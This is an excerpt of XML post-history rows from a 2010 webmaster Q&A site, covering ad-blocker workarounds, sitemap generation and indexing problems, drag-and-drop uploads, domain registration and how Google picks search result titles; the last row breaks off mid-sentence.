  <row Id="8249" PostHistoryTypeId="2" PostId="4178" RevisionGUID="00902560-836f-469e-b36a-28c3465d41ab" CreationDate="2010-10-21T18:45:59.540" UserId="2573" Text="It may not be 100% of the users but even a localized amount of users that make use of ads blocking features will reduce your incoming. &#xD;&#xA;&#xD;&#xA;I do care about my users as well as I do care about receiving some incoming for my hard work.&#xD;&#xA;&#xD;&#xA;Currently I keep an watch on the ADs being displayed and remove the ones that have eye-hurting type of either images or text, ADs that are non-related to my content and I don't exagerate on ADs, i have 2 ads on a rather big content website and am planning to add an Amazon Store thing later.&#xD;&#xA;&#xD;&#xA;Now I would like to know:&#xD;&#xA;&#xD;&#xA; 1. What type of ADs do you usually remove from users view ?&#xD;&#xA;&#xD;&#xA; 2. Are there ways to prevent this sort of blocking ?&#xD;&#xA;&#xD;&#xA; 3. What kinda of work arounds you usually do to prevent it ?&#xD;&#xA;&#xD;&#xA;    ***The difference between question 2 and 3 is that question 2 is related to legitmate ways to prevent this while question 3 is regarding any way to work around it.***&#xD;&#xA;&#xD;&#xA; 4. What ADs Format do you use the most, what type (image, flash, text) and how does it influence on the above ?" />
  <row Id="8250" PostHistoryTypeId="1" PostId="4178" RevisionGUID="00902560-836f-469e-b36a-28c3465d41ab" CreationDate="2010-10-21T18:45:59.540" UserId="2573" Text="Prevent users from preventing my website ADs from being displayed ?" />
  <row Id="8251" PostHistoryTypeId="3" PostId="4178" RevisionGUID="00902560-836f-469e-b36a-28c3465d41ab" CreationDate="2010-10-21T18:45:59.540" UserId="2573" Text="&lt;advertising&gt;&lt;adblock&gt;" />
  <row Id="8252" PostHistoryTypeId="2" PostId="4179" RevisionGUID="d89bf7b6-7556-457a-afa3-dffb5391d4bc" CreationDate="2010-10-21T18:47:06.273" UserId="2465" Text="I am looking for a good way to generate a sitemap for my current site. I inherited a huge site at work and we are going to start the process of IA analysis and redesign. It would be awesome if there was some way to crawl the site and automatically generate a sitemap with all of our pages. Does anyone know of any good resources?&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="8253" PostHistoryTypeId="1" PostId="4179" RevisionGUID="d89bf7b6-7556-457a-afa3-dffb5391d4bc" CreationDate="2010-10-21T18:47:06.273" UserId="2465" Text="Looking for a sitemap generator" />
  <row Id="8254" PostHistoryTypeId="3" PostId="4179" RevisionGUID="d89bf7b6-7556-457a-afa3-dffb5391d4bc" CreationDate="2010-10-21T18:47:06.273" UserId="2465" Text="&lt;sitemap&gt;" />
  <row Id="8255" PostHistoryTypeId="2" PostId="4180" RevisionGUID="09afc585-1f19-4437-8983-8094e32672c8" CreationDate="2010-10-21T18:50:32.397" UserId="2609" Text="I don't know of a great plugin that seamlessly handles the javascript side of all file drag'n'drop interactions for an arbitrary web application (or I would've used one for [our drag and drop stuff][1]).&#xD;&#xA;&#xD;&#xA;However, there is a pretty cheap hack you (or any plugin HTML/JS/CSS plugin developer) can use that we took advantage of in FogBugz.  If you find the input[type=&quot;file&quot;] element on your page and use CSS to make it invisible *and* the full width/height of your page, this will let you drag'n'drop files onto your browser.&#xD;&#xA;&#xD;&#xA;    #drop input {&#xD;&#xA;        position: absolute;&#xD;&#xA;        width: 100%;&#xD;&#xA;        height: 100%;&#xD;&#xA;        top: 0;&#xD;&#xA;        left: 0;&#xD;&#xA;        opacity: 0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The plugin will obviously have to use JS to manage the add/remove of these styles to the element.&#xD;&#xA;&#xD;&#xA;Please don't yell at me for not using the HTML5 File API.  It's usable, but pretty up-in-the-air x-browser stability-wise right now.  We went w/ the quickest solution that would let us discover whether or not our users found drag'n'drop to be useful.&#xD;&#xA;&#xD;&#xA;It works in Chrome and, for single files at a time, Safari.  Full details available here: http://www.thecssninja.com/javascript/gmail-upload&#xD;&#xA;&#xD;&#xA;**Bonus**: somebody should really develop a simple little jQuery plugin that finds the first visible input[type=&quot;file&quot;] element on the page and applies these styles w/ a nice little &quot;drop here&quot; target and animation.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fogcreek.com/FogBugz/blog/post/Drag'n'Drop-Attachments.aspx" />
  <row Id="8256" PostHistoryTypeId="2" PostId="4181" RevisionGUID="0db48d3f-5851-4117-8bf0-c7d1bda6fbe6" CreationDate="2010-10-21T18:54:32.297" UserId="2209" Text="Here is a link to a free solution... http://www.xml-sitemaps.com/&#xD;&#xA;&#xD;&#xA;May not be what you are looking for but it saves you from coding a script to do the job for you." />
  <row Id="8257" PostHistoryTypeId="2" PostId="4182" RevisionGUID="6f91927e-339a-4e19-813b-a4c15b4c2bfe" CreationDate="2010-10-21T19:01:08.207" UserId="1953" Text="For sitemap generation I use GSiteCrawler it works great and it gives you a lot of additional information. If you're looking to do additional analysis I use Xenu link Sleuth it's main purpose is to help you find broken links but it also gives a lot of IA related info such as depth from the home page, internal links pointing at certain pages etc. Both tools are free." />
  <row Id="8258" PostHistoryTypeId="2" PostId="4183" RevisionGUID="0caacfa6-dd72-4fc2-9c26-e4c5d5c1ab07" CreationDate="2010-10-21T19:10:54.307" UserId="2618" Text="Install these&#xD;&#xA;&#xD;&#xA; - drupal.org/project/cck&#xD;&#xA; - drupal.org/project/imagefield&#xD;&#xA; - drupal.org/project/dragndrop_uploads&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Once installed, Drag'n'Drop Uploads&#xD;&#xA;&gt; needs to be configured for each&#xD;&#xA;&gt; Content Type you wish to use, this can&#xD;&#xA;&gt; be done on the Content Type&#xD;&#xA;&gt; configuration page under &quot;Drag'n'Drop&#xD;&#xA;&gt; Uploads settings&quot;:&#xD;&#xA;&gt; &#xD;&#xA;&gt; http://[www.yoursite.com/path/to/drupal]/admin/content/node-type/[node-type]" />
  <row Id="8259" PostHistoryTypeId="2" PostId="4184" RevisionGUID="7eced3c6-9486-40a7-a3ef-f9b8eba951cc" CreationDate="2010-10-21T19:17:43.013" UserDisplayName="laura" Text="Domain name registration charges are yearly or a one time affair?&#xD;&#xA;And how long does it take? I want to register a domain name for my personal site. " />
  <row Id="8260" PostHistoryTypeId="1" PostId="4184" RevisionGUID="7eced3c6-9486-40a7-a3ef-f9b8eba951cc" CreationDate="2010-10-21T19:17:43.013" UserDisplayName="laura" Text="About registering domain names." />
  <row Id="8261" PostHistoryTypeId="3" PostId="4184" RevisionGUID="7eced3c6-9486-40a7-a3ef-f9b8eba951cc" CreationDate="2010-10-21T19:17:43.013" UserDisplayName="laura" Text="&lt;domains&gt;" />
  <row Id="8262" PostHistoryTypeId="2" PostId="4185" RevisionGUID="ce1befbd-b924-425e-90f5-88aae1f32ed7" CreationDate="2010-10-21T19:18:36.337" UserId="239" Text="Unfortunately, you can't download http://superuser.com/sitemap.xml but googlebot can (and has today, verified via Google Webmaster Tools).  The file sitemap.xml does contain a list of urls that were posted yesterday.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;http://superuser.com/questions/201610/how-to-see-the-end-of-a-long-chain-of-symbolic-links/201623#201623&#xD;&#xA;&#xD;&#xA;Searching for &quot;How to see the end of a long chain of symbolic links&quot; gives only one result to questionhub.com which is scraping our data (a whole different problem).&#xD;&#xA;&#xD;&#xA;You can increment the question count number and do an exact search for the question title and you will see this pattern persist.&#xD;&#xA;&#xD;&#xA;These urls are IN sitemap.xml but are not showing up in the index (this behavior changed as of yesterday). " />
  <row Id="8263" PostHistoryTypeId="1" PostId="4185" RevisionGUID="ce1befbd-b924-425e-90f5-88aae1f32ed7" CreationDate="2010-10-21T19:18:36.337" UserId="239" Text="Why did Google stopped indexing pages from sitemap.xml for superuser.com?" />
  <row Id="8264" PostHistoryTypeId="3" PostId="4185" RevisionGUID="ce1befbd-b924-425e-90f5-88aae1f32ed7" CreationDate="2010-10-21T19:18:36.337" UserId="239" Text="&lt;google&gt;" />
  <row Id="8265" PostHistoryTypeId="2" PostId="4186" RevisionGUID="7290c146-aad1-41b7-8602-0a9cd3f11c3a" CreationDate="2010-10-21T19:21:38.233" UserId="2209" Text="Usually the charges are yearly, but you can pay for years in advance." />
  <row Id="8266" PostHistoryTypeId="5" PostId="4185" RevisionGUID="b7e9587c-fe9e-4db4-ba44-9decb959214d" CreationDate="2010-10-21T19:24:12.890" UserId="3" Comment="added 548 characters in body; edited tags; edited title; added 193 characters in body" Text="We're seeing some pages that exist in our `sitemap.xml` but are inexplicably missing from Google's public search index. &#xD;&#xA;&#xD;&#xA;You can't download http://superuser.com/sitemap.xml -- we protect this file because there have been issues with it in the past -- but googlebot can. We have verified via Google Webmaster Tools that the `sitemap.xml` file was pulled down today and is rated OK with no errors (green checkmark).&#xD;&#xA;&#xD;&#xA;The `sitemap.xml` contains a list of the last 50,000 questions on our site that were asked.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;http://superuser.com/questions/201610/how-to-see-the-end-of-a-long-chain-of-symbolic-links/201623&#xD;&#xA;&#xD;&#xA;exists in the `sitemap.xml` as &#xD;&#xA;&#xD;&#xA;    &lt;url&gt;&#xD;&#xA;    &lt;loc&gt;http://superuser.com/questions/201610/how-to-see-the-end-of-a-long-chain-of-symbolic-links/201623&lt;/loc&gt;&#xD;&#xA;    &lt;lastmod&gt;2010-10-20&lt;/lastmod&gt;&#xD;&#xA;    &lt;changefreq&gt;daily&lt;/changefreq&gt;&#xD;&#xA;    &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;    &lt;/url&gt;&#xD;&#xA;&#xD;&#xA;Searching for [&quot;How to see the end of a long chain of symbolic links&quot;][1] gives only one result to questionhub.com which is scraping our data (a whole different problem).&#xD;&#xA;&#xD;&#xA;You can increment the question count number and do an exact search for the question title and you will see this pattern persist.&#xD;&#xA;&#xD;&#xA;These urls are *in* sitemap.xml but are not showing up in Google's index -- and yet they show up on sites that scrape our creative commons data. Why would that be?&#xD;&#xA;&#xD;&#xA;[1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=How+to+see+the+end+of+a+long+chain+of+symbolic+links" />
  <row Id="8267" PostHistoryTypeId="4" PostId="4185" RevisionGUID="b7e9587c-fe9e-4db4-ba44-9decb959214d" CreationDate="2010-10-21T19:24:12.890" UserId="3" Comment="added 548 characters in body; edited tags; edited title; added 193 characters in body" Text="Why did Google stop indexing pages from sitemap.xml for superuser.com?" />
  <row Id="8268" PostHistoryTypeId="6" PostId="4185" RevisionGUID="b7e9587c-fe9e-4db4-ba44-9decb959214d" CreationDate="2010-10-21T19:24:12.890" UserId="3" Comment="added 548 characters in body; edited tags; edited title; added 193 characters in body" Text="&lt;google&gt;&lt;sitemap&gt;" />
  <row Id="8269" PostHistoryTypeId="5" PostId="4185" RevisionGUID="8966d69a-110f-4bb0-b889-6fddff93712e" CreationDate="2010-10-21T19:30:53.300" UserId="3" Comment="added 61 characters in body" Text="We're seeing some pages that exist in our `sitemap.xml` but are inexplicably missing from Google's public search index. &#xD;&#xA;&#xD;&#xA;You can't download http://superuser.com/sitemap.xml -- we protect this file because there have been issues with it in the past -- but googlebot can. We have verified via Google Webmaster Tools that the `sitemap.xml` file was pulled down today and is rated OK with no errors (green checkmark).&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `sitemap.xml` contains a list of the last 50,000 questions on our site that were asked.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;http://superuser.com/questions/201610/how-to-see-the-end-of-a-long-chain-of-symbolic-links/201623&#xD;&#xA;&#xD;&#xA;exists in the `sitemap.xml` as &#xD;&#xA;&#xD;&#xA;    &lt;url&gt;&#xD;&#xA;    &lt;loc&gt;http://superuser.com/questions/201610/how-to-see-the-end-of-a-long-chain-of-symbolic-links/201623&lt;/loc&gt;&#xD;&#xA;    &lt;lastmod&gt;2010-10-20&lt;/lastmod&gt;&#xD;&#xA;    &lt;changefreq&gt;daily&lt;/changefreq&gt;&#xD;&#xA;    &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;    &lt;/url&gt;&#xD;&#xA;&#xD;&#xA;Searching for [&quot;How to see the end of a long chain of symbolic links&quot;][2] gives only one result to questionhub.com which is scraping our data (a whole different problem).&#xD;&#xA;&#xD;&#xA;You can increment the question count number and do an exact search for the question title and you will see this pattern persist.&#xD;&#xA;&#xD;&#xA;These urls are *in* sitemap.xml but are not showing up in Google's index -- and yet they show up on sites that scrape our creative commons data. Why would that be?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/sfas0.png&#xD;&#xA;  [2]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=How+to+see+the+end+of+a+long+chain+of+symbolic+links" />
  <row Id="8270" PostHistoryTypeId="2" PostId="4187" RevisionGUID="49820363-b91d-4f9a-aefa-eb14c5814083" CreationDate="2010-10-21T19:35:05.273" UserId="1456" Text="Google doesn't make any offer or guarantee that pages in a sitemap will be indexed.&#xD;&#xA;&#xD;&#xA;My experience has been that a page has to be linked-to (from a page of some authority) to show up.  Is that page/question linked to directly/indirectly from a page with some authority? &#xD;&#xA;&#xD;&#xA;E.g. if the superuser.com homepage (which presumably has many inlinks) linked directly to this question, or linked to it indirectly through a number of other pages, then you could expect it to be indexed.&#xD;&#xA;&#xD;&#xA;From google:&#xD;&#xA;&#xD;&#xA;&gt; Google doesn't guarantee that we'll&#xD;&#xA;&gt; crawl or index all of your URLs.&#xD;&#xA;&gt; However, we use the data in your&#xD;&#xA;&gt; Sitemap to learn about your site's&#xD;&#xA;&gt; structure, which will allow us to&#xD;&#xA;&gt; improve our crawler schedule and do a&#xD;&#xA;&gt; better job crawling your site in the&#xD;&#xA;&gt; future. In most cases, webmasters will&#xD;&#xA;&gt; benefit from Sitemap submission, and&#xD;&#xA;&gt; in no case will you be penalized for&#xD;&#xA;&gt; it.&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156184&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8271" PostHistoryTypeId="2" PostId="4188" RevisionGUID="ae5de33d-7483-463b-a479-8a44fae710f6" CreationDate="2010-10-21T19:35:25.130" UserId="1253" Text="Googling &quot;xml sitemap generator&quot; found [plenty of resources][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?aq=f&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=xml+sitemap+generator" />
  <row Id="8272" PostHistoryTypeId="2" PostId="4189" RevisionGUID="8e924b5d-e6eb-4dae-b0d8-0547596736a5" CreationDate="2010-10-21T19:37:13.847" UserId="2623" Text="It appears that Google is stating that 46,514 submitted links *are* in the index. Could it be an issue with (I hate to say it) but page ranking? The scraping sites may be doing a better job cross-linking etc and being ranked higher. Just a thought.&#xD;&#xA;&#xD;&#xA;This search [site:superuser.com How to see the end of a long chain of symbolic links][1] also appears to be fetching your sitemap.xml correctly, albeit not returning the expected results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ca/search?client=safari&amp;rls=en&amp;q=%22How+to+see+the+end+of+a+long+chain+of+symbolic+links%22&amp;ie=UTF-8&amp;oe=UTF-8&amp;redir_esc=&amp;ei=v5XATOXmG4GongfaxYTgCQ#sclient=psy&amp;hl=en&amp;client=safari&amp;rls=en&amp;q=site%3Asuperuser.com+How+to+see+the+end+of+a+long+chain+of+symbolic+links&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=site:superuser.com+How+to+see+the+end+of+a+long+chain+of+symbolic+links&amp;gs_rfai=&amp;pbx=1&amp;fp=aa3e8f73442aae25" />
  <row Id="8273" PostHistoryTypeId="2" PostId="4190" RevisionGUID="298e3a9d-64f1-47ff-b6a1-a60cc95fd4f6" CreationDate="2010-10-21T19:37:36.517" UserId="138" Text="Blocking people from blocking ads is virtually impossible, as at the end of the day the user has full control over their browser. If I want to disable 99.999% of all ads on the internet today, I would&#xD;&#xA;&#xD;&#xA;- Disable Images&#xD;&#xA;- Disable Javascript&#xD;&#xA;- Disable iFrames&#xD;&#xA;&#xD;&#xA;from my Firefox and although the internet would look pretty crappy and broken, I 99.999% of all ads would be gone.&#xD;&#xA;&#xD;&#xA;The way most ad blockers work is they search image, javascript and iFrame URLs for known keywords, and then generic keywords (e.g. 'adsense' 'doubleclick' and 'ad', etc). &#xD;&#xA;&#xD;&#xA;To get around this your best bet would be to serve the ads in-house by rendering the insertion code server-side and avoiding all keywords.&#xD;&#xA;&#xD;&#xA;For example, instead of including:&#xD;&#xA;&#xD;&#xA;`&lt;script src=&quot;myadscript.js&quot;&gt;` which then loads an iFrame which then loads a JPG (as a lot of ad clients do), you would need to serve up:&#xD;&#xA;&#xD;&#xA;`&lt;img src=&quot;/somethingthatsnotanad/bagdgf.jpg&quot; /&gt;` - now `bagdgf.jpg` might very well a PHP script that does the ad fetching and whatnot for you, or it could be a link to a real ad, but that's going to be the only way to defeat a lot of ad blockers, as they'll have a hard time differentiating between that image and an ad image." />
  <row Id="8274" PostHistoryTypeId="2" PostId="4191" RevisionGUID="ec8ce75c-6d25-465c-9a98-33b73076ae7e" CreationDate="2010-10-21T19:43:55.537" UserId="845" Text="Just to add to the excellent accepted answer: on the whole, ASCII files are much more portable across various editors." />
  <row Id="8275" PostHistoryTypeId="2" PostId="4192" RevisionGUID="a4ae22d4-1c32-4516-a171-7dab34ff9f27" CreationDate="2010-10-21T19:52:21.463" UserId="2621" Text="I think google might be having a hard time indexing your web pages, 50.000 is alot. So my suggestion would be breakdown your sitemap into pieces like&#xD;&#xA;&#xD;&#xA;`&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;&lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;	&lt;sitemap&gt;&#xD;&#xA;		&lt;loc&gt;http://superuser.com/sitemaps/[Date]&lt;/loc&gt;&#xD;&#xA;		&lt;lastmod&gt;2010-05-25&lt;/lastmod&gt;&#xD;&#xA;	&lt;/sitemap&gt;&#xD;&#xA;	&lt;sitemap&gt;&#xD;&#xA;		&lt;loc&gt;http://superuser.com/sitemaps/[Date]&lt;/loc&gt;&#xD;&#xA;		&lt;lastmod&gt;2010-05-25&lt;/lastmod&gt;&#xD;&#xA;	&lt;/sitemap&gt;&#xD;&#xA;&lt;/sitemapindex&gt;`&#xD;&#xA;&#xD;&#xA;Maybe if you breakdown you will have a better luck of having those 50.000 urls indexed.&#xD;&#xA;I don't know why but that worked better for me." />
  <row Id="8276" PostHistoryTypeId="5" PostId="4192" RevisionGUID="74b822af-0851-4cd8-a0fa-418e7a3acd7b" CreationDate="2010-10-21T20:11:22.430" UserId="2621" Comment="added reference" Text="I think google might be having a hard time indexing your web pages, 50.000 is alot. So my suggestion would be breakdown your sitemap into pieces like so&#xD;&#xA;&#xD;&#xA;`&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;&lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;   &lt;sitemap&gt;&#xD;&#xA;      &lt;loc&gt;http://www.example.com/sitemap1.xml.gz&lt;/loc&gt;&#xD;&#xA;      &lt;lastmod&gt;2004-10-01T18:23:17+00:00&lt;/lastmod&gt;&#xD;&#xA;   &lt;/sitemap&gt;&#xD;&#xA;   &lt;sitemap&gt;&#xD;&#xA;      &lt;loc&gt;http://www.example.com/sitemap2.xml.gz&lt;/loc&gt;&#xD;&#xA;      &lt;lastmod&gt;2005-01-01&lt;/lastmod&gt;&#xD;&#xA;   &lt;/sitemap&gt;&#xD;&#xA;&lt;/sitemapindex&gt;`&#xD;&#xA;&#xD;&#xA;If you breakdown you will have a better luck of having those 50.000 urls indexed.&#xD;&#xA;&#xD;&#xA;Sitemaps.org explanation of the issue&#xD;&#xA;&gt; You can provide multiple Sitemap files, but each Sitemap file that you provide must have no more than 50,000 URLs and must be no larger than 10MB (10,485,760 bytes). If you would like, you may compress your Sitemap files using gzip to reduce your bandwidth requirement; however the sitemap file once uncompressed must be no larger than 10MB. If you want to list more than 50,000 URLs, you must create multiple Sitemap files.&#xD;&#xA;&#xD;&#xA;&gt; If you do provide multiple Sitemaps, you should then list each Sitemap file in a Sitemap index file. Sitemap index files may not list more than 50,000 Sitemaps and must be no larger than 10MB (10,485,760 bytes) and can be compressed. You can have more than one Sitemap index file. The XML format of a Sitemap index file is very similar to the XML format of a Sitemap file.&#xD;&#xA;&#xD;&#xA;http://sitemaps.org/protocol.php" />
  <row Id="8277" PostHistoryTypeId="5" PostId="4075" RevisionGUID="eeb45702-014d-4a09-b736-6d641429ac00" CreationDate="2010-10-21T20:21:38.867" UserId="108" Comment="added 245 characters in body" Text="Create a Webmasters Account from Google, here http://www.google.com/webmasters/.&#xD;&#xA;&#xD;&#xA;Once you have an account you can attach it to the website in question by putting a file into the root folder of your site.  Google will then recognize that you as the owner of the Webmaster account also own/control the site in question.&#xD;&#xA;&#xD;&#xA;Once you have done this Google will report to that account any reasons why your site is banned whether is is right now or in the future.  You can also use that account to ask Google if there is issues.&#xD;&#xA;&#xD;&#xA;Note, once you know that there is an issue in your site and you have resolved it, you can Request Google to Reconsider your site through the Webmasters tool. This is an automated feature so no one will respond do you reconsideration request.&#xD;&#xA;&#xD;&#xA;Google's webmaster tools also have a lot of other benefits and is free.  Specifically, it tells you what sites &amp; pages link to your site and how many searches and at what position your site was returned for those searches." />
  <row Id="8278" PostHistoryTypeId="5" PostId="4185" RevisionGUID="78c26b86-6e85-4919-9a1e-e2399c6bf196" CreationDate="2010-10-21T20:22:18.583" UserId="3" Comment="added 23 characters in body; edited title" Text="We're seeing some pages that exist in our `sitemap.xml` but are inexplicably missing from Google's public search index. &#xD;&#xA;&#xD;&#xA;You can't download http://superuser.com/sitemap.xml -- we protect this file because there have been issues with it in the past -- but googlebot can. We have verified via Google Webmaster Tools that the `sitemap.xml` file was pulled down today and is rated OK with no errors (green checkmark).&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;The `sitemap.xml` contains a list of the last 50,000 questions on our site that were asked. For example, this question ...&#xD;&#xA;&#xD;&#xA;http://superuser.com/questions/201610/how-to-see-the-end-of-a-long-chain-of-symbolic-links/201623&#xD;&#xA;&#xD;&#xA;... exists in the `sitemap.xml` as ...&#xD;&#xA;&#xD;&#xA;    &lt;url&gt;&#xD;&#xA;    &lt;loc&gt;http://superuser.com/questions/201610/how-to-see-the-end-of-a-long-chain-of-symbolic-links/201623&lt;/loc&gt;&#xD;&#xA;    &lt;lastmod&gt;2010-10-20&lt;/lastmod&gt;&#xD;&#xA;    &lt;changefreq&gt;daily&lt;/changefreq&gt;&#xD;&#xA;    &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;    &lt;/url&gt;&#xD;&#xA;&#xD;&#xA;Searching for [&quot;How to see the end of a long chain of symbolic links&quot;][2] gives only one result to questionhub.com which is scraping our data (a whole different problem).&#xD;&#xA;&#xD;&#xA;You can increment the question count number and do an exact search for the question title and you will see this pattern persist.&#xD;&#xA;&#xD;&#xA;These urls are *in* sitemap.xml but they are not showing up in Google's index -- and yet they show up on sites that scrape our creative commons data. Why would that be?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/sfas0.png&#xD;&#xA;  [2]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=How+to+see+the+end+of+a+long+chain+of+symbolic+links" />
  <row Id="8279" PostHistoryTypeId="4" PostId="4185" RevisionGUID="78c26b86-6e85-4919-9a1e-e2399c6bf196" CreationDate="2010-10-21T20:22:18.583" UserId="3" Comment="added 23 characters in body; edited title" Text="Why did Google stop indexing pages from our sitemap.xml?" />
  <row Id="8280" PostHistoryTypeId="5" PostId="4192" RevisionGUID="4883ba22-6cf0-4b6b-b5ad-dace9fdc63d4" CreationDate="2010-10-21T20:28:13.187" UserId="3" Comment="added 44 characters in body" Text="I think google might be having a hard time indexing your web pages, 50.000 is alot. So my suggestion would be breakdown your sitemap into pieces like so&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;       &lt;sitemap&gt;&#xD;&#xA;          &lt;loc&gt;http://www.example.com/sitemap1.xml.gz&lt;/loc&gt;&#xD;&#xA;          &lt;lastmod&gt;2004-10-01T18:23:17+00:00&lt;/lastmod&gt;&#xD;&#xA;       &lt;/sitemap&gt;&#xD;&#xA;       &lt;sitemap&gt;&#xD;&#xA;          &lt;loc&gt;http://www.example.com/sitemap2.xml.gz&lt;/loc&gt;&#xD;&#xA;          &lt;lastmod&gt;2005-01-01&lt;/lastmod&gt;&#xD;&#xA;       &lt;/sitemap&gt;&#xD;&#xA;    &lt;/sitemapindex&gt;&#xD;&#xA;&#xD;&#xA;If you breakdown you will have a better luck of having those 50.000 urls indexed.&#xD;&#xA;&#xD;&#xA;Sitemaps.org explanation of the issue&#xD;&#xA;&gt; You can provide multiple Sitemap files, but each Sitemap file that you provide must have no more than 50,000 URLs and must be no larger than 10MB (10,485,760 bytes). If you would like, you may compress your Sitemap files using gzip to reduce your bandwidth requirement; however the sitemap file once uncompressed must be no larger than 10MB. If you want to list more than 50,000 URLs, you must create multiple Sitemap files.&#xD;&#xA;&#xD;&#xA;&gt; If you do provide multiple Sitemaps, you should then list each Sitemap file in a Sitemap index file. Sitemap index files may not list more than 50,000 Sitemaps and must be no larger than 10MB (10,485,760 bytes) and can be compressed. You can have more than one Sitemap index file. The XML format of a Sitemap index file is very similar to the XML format of a Sitemap file.&#xD;&#xA;&#xD;&#xA;http://sitemaps.org/protocol.php&#xD;&#xA;" />
  <row Id="8281" PostHistoryTypeId="2" PostId="4193" RevisionGUID="0929081b-320b-4a39-b864-084f82d07bb1" CreationDate="2010-10-21T20:33:29.430" UserId="343" Text="The question was just asked yesterday - give googlebot a chance, you aren't the only site on the Internet that he has to crawl ya know :)&#xD;&#xA;&#xD;&#xA;If questions are normally indexed within a day or so, and a week goes by and that one still isn't indexed, then I might be concerned.  But certainly not after 1 day." />
  <row Id="8282" PostHistoryTypeId="2" PostId="4194" RevisionGUID="ad88d53a-0057-49b2-a375-dba21d04ff2e" CreationDate="2010-10-21T21:14:22.607" UserId="1429" Text="I always thought Google shows page title (whatever is in the `&lt;title&gt;` tag of the page) as 1st line of each result.&#xD;&#xA;&#xD;&#xA;But looking at the [search &quot;orologi da collezione&quot;][1] below, it seems Google is showing as 1st line of content the `&lt;H1&gt;` tag.&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;Am I right? **Is Google showing the content of the H1 tag as 1st line of the serach result** or something else got from meta description?&#xD;&#xA;&#xD;&#xA;Even more and more interesting when [searching for &quot;vendita orologi&quot;][3] the same site comes out, but this time it shows the real page title as 1st line:&#xD;&#xA;&#xD;&#xA;![alt text][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.it/#hl=it&amp;biw=1920&amp;bih=834&amp;q=orologi+da+collezione&amp;aq=f&amp;aqi=g10&amp;aql=&amp;oq=&amp;gs_rfai=&amp;fp=61d7c31a66760ab2&#xD;&#xA;  [2]: http://i.stack.imgur.com/YjWKD.jpg&#xD;&#xA;  [3]: http://www.google.it/#hl=it&amp;biw=1920&amp;bih=834&amp;q=vendita+orologi&amp;aq=f&amp;aqi=g10&amp;aql=&amp;oq=&amp;gs_rfai=&amp;fp=61d7c31a66760ab2&#xD;&#xA;  [4]: http://i.stack.imgur.com/ltynB.jpg" />
  <row Id="8283" PostHistoryTypeId="1" PostId="4194" RevisionGUID="ad88d53a-0057-49b2-a375-dba21d04ff2e" CreationDate="2010-10-21T21:14:22.607" UserId="1429" Text="Google showing h1 text insetad of page title in search result?" />
  <row Id="8284" PostHistoryTypeId="3" PostId="4194" RevisionGUID="ad88d53a-0057-49b2-a375-dba21d04ff2e" CreationDate="2010-10-21T21:14:22.607" UserId="1429" Text="&lt;google&gt;&lt;title&gt;&lt;search&gt;" />
  <row Id="8286" PostHistoryTypeId="5" PostId="4190" RevisionGUID="039d252a-77f4-4210-9695-14ee3552a052" CreationDate="2010-10-21T21:38:39.430" UserId="138" Comment="added 402 characters in body" Text="Blocking people from blocking ads is virtually impossible, as at the end of the day the user has full control over their browser. If I want to disable 99.999% of all ads on the internet today, I would&#xD;&#xA;&#xD;&#xA;- Disable Images&#xD;&#xA;- Disable Javascript&#xD;&#xA;- Disable iFrames&#xD;&#xA;&#xD;&#xA;from my Firefox and although the internet would look pretty crappy and broken, I 99.999% of all ads would be gone.&#xD;&#xA;&#xD;&#xA;The way most ad blockers work is they search image, javascript and iFrame URLs for known keywords, and then generic keywords (e.g. 'adsense' 'doubleclick' and 'ad', etc). &#xD;&#xA;&#xD;&#xA;To get around this your best bet would be to serve the ads in-house by rendering the insertion code server-side and avoiding all keywords.&#xD;&#xA;&#xD;&#xA;For example, instead of including:&#xD;&#xA;&#xD;&#xA;`&lt;script src=&quot;myadscript.js&quot;&gt;` which then loads an iFrame which then loads a JPG (as a lot of ad clients do), you would need to serve up:&#xD;&#xA;&#xD;&#xA;`&lt;img src=&quot;/somethingthatsnotanad/bagdgf.jpg&quot; /&gt;` - now `bagdgf.jpg` might very well a PHP script that does the ad fetching and whatnot for you, or it could be a link to a real ad, but that's going to be the only way to defeat a lot of ad blockers, as they'll have a hard time differentiating between that image and an ad image.&#xD;&#xA;&#xD;&#xA;-- Addendum --&#xD;&#xA;&#xD;&#xA;You'll also most likely need to mask the affiliate URL you're 